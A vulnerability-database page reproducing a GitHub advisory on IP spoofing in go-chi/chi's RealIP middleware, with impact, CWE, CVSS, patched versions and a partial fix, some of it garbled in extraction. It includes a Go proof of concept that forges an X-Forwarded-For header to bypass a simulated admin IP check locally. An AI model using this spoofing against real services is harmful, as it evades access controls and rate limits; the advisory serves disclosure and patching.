KEVWire

Security intelligence, with context.

Response snapshot Nov 4, 2026, 04:56 UTC

Back to the wire
Permalink
VulnerabilityGHSA-3fxj-6jh8-hvhx

chi Has an IP Spoofing Vulnerability in `middleware.RealIP`

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/go-chi/chi/v5/middleware: 5.3.0; github.com/go-chi/chi/v5: 5.3.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3fxj-6jh8-hvhx (opens a new tab)

What happened

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

Continue reading
func realIP(r *http.Request) string {
 // ...
 } else if xff := r.Header.Get(xForwardedFor); xff != "" {
 ip, _, _ = strings.Cut(xff, ",")
 }
 // ...
}

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: , , and go-chi/chi will treat as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main

import (
 "fmt"
 "net/http"
 "net/http/httptest"

 "github.com/go-chi/chi/v5"
 "github.com/go-chi/chi/v5/middleware"
)

func main() {
 r := chi.NewRouter()

 // Enable the vulnerable RealIP middleware
 r.Use(middleware.RealIP)

 // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
 r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
 clientIP := r.RemoteAddr
 fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

 // Simulate IP-based access control
 if clientIP == "1.2.3.4" {
 w.WriteHeader(http.StatusOK)
 w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
 } else {
 w.WriteHeader(http.StatusForbidden)
 w.Write([]byte("Access Denied: You are not an administrator.\n"))
 }
 })

 // --- Attack Simulation ---
 fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

 // 1. Normal Request (Should be denied)
 req1, _ := http.NewRequest("GET", "/admin/secret", nil)
 rr1 := httptest.NewRecorder()
 r.ServeHTTP(rr1, req1)
 fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

 // 2. Spoofed Request (Using X-Forwarded-For)
 // Attacker claims to be '1.2.3.4'
 req2, _ := http.NewRequest("GET", "/admin/secret", nil)
 req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
 rr2 := httptest.NewRecorder()
 r.ServeHTTP(rr2, req2)
 fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}

Impact

An attacker can masquerade as any IP address. This can lead to: - Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP. - Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key. - Log Forgery: Causing incorrect IP addresses to be recorded in security logs.

CWE

- CWE-290: Authentication Bypass by Spoofing - CWE-345: Insufficient Verification of Data Authenticity

CVSS Score

- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)

Affected Versions

- github.com/go-chi/chi/v5 = 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue }

if !isTrustedProxy(ip, trustedProxies) { return ipStr } }

return r.RemoteAddr }

func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false }


By providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}})` , the middleware can safely identify the true client IP even in complex proxy environments.

Affected package ranges reported by GitHub:
github.com/go-chi/chi/v5/middleware: >= 5.2.1, < 5.3.0
github.com/go-chi/chi/v5: >= 5.2.1, < 5.3.0

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3fxj-6jh8-hvhx (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3fxj-6jh8-hvhx, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). chi Has an IP Spoofing Vulnerability in `middleware.RealIP`. https://kevwire.com/record/GHSA-3fxj-6jh8-hvhx

MLA

"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`." KEVWire, 4 Nov. 2026, kevwire.com/record/GHSA-3fxj-6jh8-hvhx.

Chicago

KEVWire. "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`." Last modified November 4, 2026. https://kevwire.com/record/GHSA-3fxj-6jh8-hvhx.

Evidence summary (plain text)

chi Has an IP Spoofing Vulnerability in `middleware.RealIP` (Jun 25, 2026).
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list.
Sources:
GitHub-reviewed advisory GHSA-3fxj-6jh8-hvhx: https://github.com/advisories/GHSA-3fxj-6jh8-hvhx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-3fxj-6jh8-hvhx.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 4, 2026, 04:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail